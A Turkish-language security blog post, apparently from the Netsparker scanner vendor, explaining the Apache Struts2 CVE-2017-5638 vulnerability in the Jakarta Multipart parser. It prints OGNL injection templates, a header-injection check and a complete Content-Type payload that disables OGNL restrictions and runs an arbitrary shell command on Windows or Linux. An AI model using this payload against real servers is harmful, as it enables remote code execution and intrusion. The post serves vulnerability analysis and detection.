Apache Struts2 Zafiyeti
Struts 1.0, ilk olarak 2001’in ortasında yayınlandı, Java tabanlı bir web framework olan Struts, Apache Vakfı Jakarta Projesinin bir parçasıdır. OGNL (Object-Graph Navigation Language) ifade dili desteği bulunmaktadır. Zafiyet CVE-2017-5638 kodu ile yayınlanmıştır. Detaylar yazımızda.
Giriş
- Struts 1.0 ilk olarak 2001’in ortasında yayınlandı, Java tabanlı web framework.
- Apache Vakfı’nın Jakarta Projesinin bir parçasıdır.
- OGNL (Object-Graph Navigation Language) ifade dili desteği bulunmaktadır.
- CVE-2017-5638 olarak bildirildi.
- "Jakarta Struts" veya "Apache Struts" olarak bilinir.
- Jakarta Multipart Parser File Upload sınıfında bulunan bir zafiyet.
- Etkilenen versiyonlar ve altyapıyı kullanan ürünler
Zafiyet İncelemesi
Content-Type’ına (#_='multipart/form-data') kullanarak kontrolü geçmiş oluyoruz.
parse metodunda gönderdiğimiz payload hata döndüğü için buildErrorMessage’a set ediliyor.
buildErrorMessage içerisine baktığımızda, LocalizedTextUtil class'ında findText'e gelen hataları ayrıştırıyor.
Tam da burada bizim OGNL ifademiz execute ediliyor. Ve sistem üzerinde istediğimiz Komut Enjeksiyonunu yapabiliyoruz.
Zafiyetin Sömürülmesi
- İki farklı OGNL ifade tanımlaması var
.multipart/form-data~${ COMMAND }
%{(#nike='multipart/form-data').( COMMAND )}
Aslında yukarıda belirtmiş olduğum farklılığın bir anlamı yok, her ikisi de zafiyet bulunan bir sistem üzerinde çalışabilir.
Header Enjeksiyonu ile Doğrulama
.multipart/form-data~${#context["com.opensymphony.xwork2.dispatcher.HttpServletResponse"].addHeader("NS-Strust2",1336+1)}
Com.opensymphony.xwork2 paketini kullanarak HttpServletResponse.addHeader ile Header’a istediğimiz Name:Value set ediyoruz.
Komut Enjeksiyonu
OGNL ifadesini kullanarak istediğimiz Kod Enjeksiyonunu yapabiliriz.
Payload;
%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo N3TSP4RK3R').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Netsparker Zafiyet Keşfi ve Exploit Edilmesi
Apache Struts2 zafiyetinin tespitini Netsparker olarak otomatize ediyoruz.
Netsparker'ın Get Shell aracını kullanarak, zafiyet barındıran sistem üzerinde kod çalıştırabiliriz.
Test Ortamı
Struts : 2.3.12
Tomcat : Tomcat/7.0.56 (Debian)